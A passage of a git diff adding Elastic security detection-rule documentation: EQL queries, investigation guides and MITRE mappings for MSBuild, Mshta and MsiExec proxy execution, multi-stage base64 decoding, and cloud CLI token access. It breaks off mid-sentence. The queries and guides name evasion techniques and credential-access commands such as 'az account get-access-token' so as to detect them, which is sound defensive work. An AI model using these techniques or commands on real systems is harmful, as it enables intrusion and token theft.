+ +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://riccardoancarani.github.io/2019-10-19-hunting-covenant-msbuild/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Performance* + + +The performance impact of this rule is expected to be low to medium because of the first sequence, which looks for MsBuild.exe process execution. The events for this first sequence may be noisy, consider adding exceptions. + + +*Investigating MsBuild Making Network Connections* + + +By examining the specific traits of Windows binaries (such as process trees, command lines, network connections, registry modifications, and so on) it's possible to establish a baseline of normal activity. Deviations from this baseline can indicate malicious activity, such as masquerading and deserve further investigation. + +The Microsoft Build Engine, also known as MSBuild, is a platform for building applications. This engine provides an XML schema for a project file that controls how the build platform processes and builds software, and can be abused to proxy code execution. + +This rule looks for the `Msbuild.exe` utility execution, followed by a network connection to an external address. Attackers can abuse MsBuild to execute malicious files or masquerade as those utilities in order to bypass detections and evade defenses. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. + - Investigate the file digital signature and process original filename, if suspicious, treat it as potential malware. +- Investigate the target host that the signed binary is communicating with. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of destination IP address and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + + /* Look for MSBuild.exe process execution */ + /* The events for this first sequence may be noisy, consider adding exceptions */ + [process where host.os.type == "windows" and event.type == "start" and + ( + process.pe.original_file_name: "MSBuild.exe" or + process.name: "MSBuild.exe" + ) and + not user.id == "S-1-5-18"] + + /* Followed by a network connection to an external address */ + /* Exclude domains that are known to be benign */ + [network where host.os.type == "windows" and + event.action: ("connection_attempted", "lookup_requested") and + not user.id == "S-1-5-18" and + not cidrmatch(destination.ip, "127.0.0.1", "::1") and + not dns.question.name : ( + "localhost", + "dc.services.visualstudio.com", + "vortex.data.microsoft.com", + "api.nuget.org")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mshta-making-network-connections.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mshta-making-network-connections.asciidoc new file mode 100644 index 0000000000..23ca0e4b8d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mshta-making-network-connections.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-mshta-making-network-connections]] +=== Mshta Making Network Connections + +Identifies Mshta.exe making outbound network connections. This may indicate adversarial activity, as Mshta is often leveraged by adversaries to execute malicious scripts and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-20m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Mshta Making Network Connections* + + +Mshta.exe is a legitimate Windows utility used to execute Microsoft HTML Application (HTA) files. Adversaries exploit it to run malicious scripts, leveraging its trusted status to bypass security measures. The detection rule identifies suspicious network activity by Mshta.exe, excluding known benign processes, to flag potential threats. This approach helps in identifying unauthorized network connections indicative of malicious intent. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship of mshta.exe, focusing on any unusual or unexpected parent processes that are not excluded by the rule, such as Microsoft.ConfigurationManagement.exe or known benign executables. +- Analyze the command-line arguments used by mshta.exe to identify any suspicious or unexpected scripts being executed, especially those not matching the excluded ADSelfService_Enroll.hta. +- Examine the network connections initiated by mshta.exe, including destination IP addresses, domains, and ports, to identify any connections to known malicious or suspicious endpoints. +- Check for any related alerts or logs from the same host around the time of the mshta.exe activity to identify potential lateral movement or additional malicious behavior. +- Investigate the user account associated with the mshta.exe process to determine if it has been compromised or is exhibiting unusual activity patterns. + + +*False positive analysis* + + +- Mshta.exe may be triggered by legitimate software updates or installations, such as those from Microsoft Configuration Management. To handle this, add exceptions for processes with parent names like Microsoft.ConfigurationManagement.exe. +- Certain applications like Amazon Assistant and TeamViewer may use Mshta.exe for legitimate purposes. Exclude these by specifying their executable paths, such as C:\Amazon\Amazon Assistant\amazonAssistantService.exe and C:\TeamViewer\TeamViewer.exe. +- Custom scripts or internal tools that utilize HTA files for automation might cause false positives. Identify these scripts and exclude them by their specific arguments, such as ADSelfService_Enroll.hta. +- Regularly review and update the list of exceptions to ensure that only verified benign activities are excluded, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the mshta.exe process if it is confirmed to be making unauthorized network connections. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious scripts or files. +- Review and analyze the process tree and network connections associated with mshta.exe to identify any additional compromised processes or systems. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Implement application whitelisting to prevent unauthorized execution of mshta.exe and similar system binaries. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=10m + [process where host.os.type == "windows" and event.type == "start" and process.name : "mshta.exe" and + not process.parent.name : "Microsoft.ConfigurationManagement.exe" and + not (process.parent.executable : "C:\\Amazon\\Amazon Assistant\\amazonAssistantService.exe" or + process.parent.executable : "C:\\TeamViewer\\TeamViewer.exe") and + not process.args : "ADSelfService_Enroll.hta"] + [network where host.os.type == "windows" and process.name : "mshta.exe"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-msiexec-service-child-process-with-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-msiexec-service-child-process-with-network-connection.asciidoc new file mode 100644 index 0000000000..332afbd6d7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-msiexec-service-child-process-with-network-connection.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-msiexec-service-child-process-with-network-connection]] +=== MsiExec Service Child Process With Network Connection + +Identifies the execution of an MsiExec service child process followed by network or dns lookup activity. Adversaries may abuse Windows Installers for initial access and delivery of malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Installer Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 207 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating MsiExec Service Child Process With Network Connection* + + +MsiExec is a Windows utility for installing, maintaining, and removing software. Adversaries exploit it to execute malicious payloads by disguising them as legitimate installations. The detection rule identifies suspicious child processes spawned by MsiExec that initiate network activity, which is atypical for standard installations. By focusing on unusual executable paths and network connections, the rule helps uncover potential misuse indicative of malware delivery or initial access attempts. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent and child processes of the suspicious MsiExec activity, focusing on the process.entity_id and process.parent.name fields to understand the execution flow. +- Examine the process.executable path to determine if it deviates from typical installation paths, as specified in the query, to assess the likelihood of malicious activity. +- Analyze the network or DNS activity associated with the process by reviewing the event.category field for network or dns events, and correlate these with the process.name to identify any unusual or unauthorized connections. +- Check the process.args for any unusual or suspicious command-line arguments that might indicate an attempt to execute malicious payloads or scripts. +- Investigate the host's recent activity and security logs to identify any other indicators of compromise or related suspicious behavior, leveraging data sources like Elastic Defend, Sysmon, or SentinelOne as mentioned in the rule's tags. +- Assess the risk and impact of the detected activity by considering the context of the alert, such as the host's role in the network and any potential data exposure or system compromise. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they involve network activity. Users can create exceptions for known software update processes that are verified as safe. +- Custom enterprise applications that use MsiExec for deployment and require network access might be flagged. Identify these applications and exclude their specific executable paths from the rule. +- Automated deployment tools that utilize MsiExec and perform network operations could be misidentified. Review these tools and whitelist their processes to prevent false alerts. +- Security software or system management tools that leverage MsiExec for legitimate purposes may cause false positives. Confirm these tools' activities and add them to an exclusion list if necessary. +- Regularly review and update the exclusion list to ensure it reflects the current environment and any new legitimate software that may interact with MsiExec. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Terminate the suspicious child process spawned by MsiExec to halt any ongoing malicious operations. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or remnants. +- Review and analyze the process execution and network activity logs to identify any additional indicators of compromise (IOCs) and assess the scope of the intrusion. +- Reset credentials and review access permissions for any accounts that may have been compromised or used during the attack. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and detection rules to identify similar threats in the future, focusing on unusual MsiExec activity and network connections. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type : "start" and + process.parent.name : "msiexec.exe" and process.parent.args : "/v" and + not process.executable : + ("?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\sysWOW64\\msiexec.exe", + "?:\\Windows\\system32\\srtasks.exe", + "?:\\Windows\\syswow64\\srtasks.exe", + "?:\\Windows\\sys*\\taskkill.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\Installer\\MSI*.tmp", + "?:\\Windows\\Microsoft.NET\\Framework*\\RegSvcs.exe", + "C:\\Windows\\System32\\regsvr32.exe", + "C:\\Windows\\Sys?????\\certutil.exe", + "C:\\Windows\\System32\\WerFault.exe", + "C:\\Windows\\System32\\wevtutil.exe", + "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe") and + not (process.name : ("rundll32.exe", "regsvr32.exe", "powershell.exe", "regasm.exe", "wscript.exe") and process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*")) and + not (?process.code_signature.subject_name : ("Bruno Software Inc", "Proton AG", "Axis Communications AB", "Citrix Systems, Inc.", "NSUS Limited", "Action1 Corporation", "Solarwinds Worldwide, LLC") and + ?process.code_signature.trusted == true) and + not (?process.pe.original_file_name in ("dxsetup.exe", "MofCompiler.exe", "ShellApp.exe") and + ?process.code_signature.subject_name : "Microsoft Corporation" and ?process.code_signature.trusted == true) and + not ?process.hash.sha256 in ("cfaef8c711db04d6c4a4381c66ac21b9e234e57febedb77fedc9316898b214bc", + "2f26f37cce780ca76f0dbac0de233f4c8d84c31b3f37380b9d5faacc3ee2d03e", + "7d9c691bfbf3beb78919dfd940fa6d325c3437425d5b0371df39aef6accf858d") + ] +[network where host.os.type == "windows" and process.name != null and + not dns.question.name : ("core.bdec.microsoft.com", "go.microsoft.com", "ocsp.digicert.com", "localhost", "www.google-analytics.com", + "ocsp.verisign.com", "*.symcb.com")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multi-base64-decoding-attempt-from-suspicious-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multi-base64-decoding-attempt-from-suspicious-location.asciidoc new file mode 100644 index 0000000000..10879461c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multi-base64-decoding-attempt-from-suspicious-location.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-multi-base64-decoding-attempt-from-suspicious-location]] +=== Multi-Base64 Decoding Attempt from Suspicious Location + +This rule detects the execution of multiple base64 decoding commands to decode data. multi-decoded data is suspicious, and may be used by attackers to obfuscate malicious payloads or commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Encoding-Based Obfuscation +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multi-Base64 Decoding Attempt from Suspicious Location* + + +Base64 encoding is a common method to encode binary data into ASCII text, often used for data transmission. Adversaries exploit this by encoding malicious payloads to evade detection. The detection rule identifies suspicious decoding activities, especially from unusual directories, by monitoring rapid sequences of decoding commands. It excludes benign processes to reduce false positives, focusing on potential threats in Linux environments. + + +*Possible investigation steps* + + +- Review the process details, including the parent entity ID and executable path, to understand the context of the decoding activity and identify the parent process responsible for initiating the base64 commands. +- Examine the working directory where the decoding occurred, focusing on suspicious locations such as "/tmp/*", "/var/tmp*", "/dev/shm/*", "/var/www/*", "/home/*", and "/root/*" to determine if the activity aligns with typical usage patterns or if it indicates potential malicious behavior. +- Analyze the command-line arguments used in the decoding process, specifically looking for "-d*" or "--d*" flags, to assess whether the decoding was intended to obfuscate data or execute hidden payloads. +- Investigate the sequence of events within the 3-second maxspan to identify any rapid or automated decoding attempts that could suggest scripted or malicious activity. +- Check for any exclusions in the rule, such as known benign processes or directories, to ensure the alert is not a false positive and the activity is genuinely suspicious. +- Correlate the alert with other security events or logs from the same host or network segment to gather additional context and determine if this is part of a larger attack or isolated incident. + + +*False positive analysis* + + +- Scheduled tasks or cron jobs may trigger base64 decoding in benign processes. Exclude known executables like "/etc/cron.daily/vivaldi" and "/etc/cron.daily/opera-browser" to reduce false positives. +- System management tools or agents, such as those located in "/opt/microsoft/omsagent/plugin" or "/opt/rapid7/ir_agent/*", might use base64 decoding for legitimate purposes. Add these directories to the exclusion list to prevent unnecessary alerts. +- Temporary directories like "/tmp/newroot/*" may be used by legitimate applications for transient data processing. Consider excluding these paths if they are frequently involved in non-malicious activities. +- User scripts or applications in home directories may use base64 for encoding or decoding data. Monitor and whitelist specific user processes that are known to be safe to avoid false positives. +- Regularly review and update the exclusion list based on observed benign activities to ensure the rule remains effective without generating excessive false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further execution of potentially malicious payloads. Disconnect the system from the network to contain the threat. + +- Review and terminate any suspicious processes identified by the detection rule, particularly those involving base64 decoding from unusual directories. Use process management tools to kill these processes. + +- Conduct a thorough examination of the directories flagged by the alert (e.g., /tmp, /var/tmp, /dev/shm) to identify and remove any malicious files or scripts. Ensure these directories are cleaned of unauthorized or suspicious content. + +- Restore the system from a known good backup if any malicious activity is confirmed, ensuring that the backup is free from compromise. + +- Escalate the incident to the security operations team for further investigation and analysis. Provide them with logs and details of the processes and directories involved for deeper threat assessment. + +- Implement additional monitoring and alerting for similar suspicious activities, focusing on rapid sequences of base64 decoding commands and unusual directory usage to enhance detection capabilities. + +- Review and update access controls and permissions for the directories involved to prevent unauthorized access and execution of potentially harmful scripts or binaries. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.parent.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.executable != null and + process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and + // Only including potentially suspicious locations + process.args like~ ("-d*", "--d*") and process.working_directory like ( + "/tmp/*", "/var/tmp*", "/dev/shm/*", "/var/www/*", "/home/*", "/root/*" + ) and not ( + process.parent.executable in ( + "/usr/share/ec2-instance-connect/eic_curl_authorized_keys", "/etc/cron.daily/vivaldi", + "/etc/cron.daily/opera-browser" + ) or + process.working_directory like ( + "/opt/microsoft/omsagent/plugin", "/opt/rapid7/ir_agent/*", "/tmp/newroot/*" + ) or + (process.parent.name == "zsh" and process.parent.command_line like "*extendedglob*") + )] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.executable != null and + process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and + process.args like~ ("-d*", "--d*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multi-cloud-cli-token-and-credential-access-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multi-cloud-cli-token-and-credential-access-commands.asciidoc new file mode 100644 index 0000000000..42d9c406bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multi-cloud-cli-token-and-credential-access-commands.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-multi-cloud-cli-token-and-credential-access-commands]] +=== Multi-Cloud CLI Token and Credential Access Commands + +Correlates process telemetry for shells and major cloud/Kubernetes CLIs when command lines match token or credential material access patterns (GCP, Azure, AWS, GitHub, kubectl, DigitalOcean, OCI). Flags hosts where multiple cloud targets appear within a five-minute window. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1528/ +* https://attack.mitre.org/techniques/T1552/ + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Windows +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: ES|QL +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multi-Cloud CLI Token and Credential Access Commands* + + +Each result row summarizes activity for one host, user, and five-minute time bucket. Review `Esql.process_command_line_values` for the +exact invocations and confirm whether the session was interactive, automated, or tied to a known pipeline. + + +*Possible investigation steps* + + +- Map `Esql.cloud_targets` and `Esql.unique_clouds` to the underlying `process.command_line` values and parent + executables. +- Correlate with authentication, Kubernetes audit, and cloud API logs for misuse of printed tokens. +- Identify whether the parent chain indicates a remote shell, RMM, or scheduled task. + + +*Response and remediation* + + +- If unauthorized, isolate the host, invalidate any printed material at the identity provider, and hunt for lateral + movement using the same time window as the alert. + +**GCP (gcloud / application-default credentials)** + +- Sign the user or build identity out of local gcloud sessions on the affected machine (example host session): + + `gcloud auth revoke --all` + +- Remove leaked Application Default Credentials on that host (often used by client libraries): + + `gcloud auth application-default revoke` + +- If a user OAuth refresh token or service account key was exposed, revoke or rotate it in Google Cloud Console (IAM + and admin: delete compromised keys; for end users, revoke OAuth tokens under Security or Workspace admin tools as + applicable). + +**Azure (`az` / `azd`)** + +- Clear cached CLI sessions on the host so new tokens are not silently reusable from disk: + + `az logout` + + `az account clear` + +- If `az account get-access-token`, `Get-AzAccessToken`, or `azd auth token` output was captured, treat the bearer as + compromised: rotate the underlying secret (for example app registration client secret or federated credential), + revoke sessions in Microsoft Entra ID where supported, and enforce re-authentication with Conditional Access. + +**GitHub (`gh` / PATs)** + +- Remove the GitHub CLI session from the affected profile: + + `gh auth logout` + +- If a personal access token or fine-grained token was printed, revoke it under GitHub user or organization settings + (Developer settings → Personal access 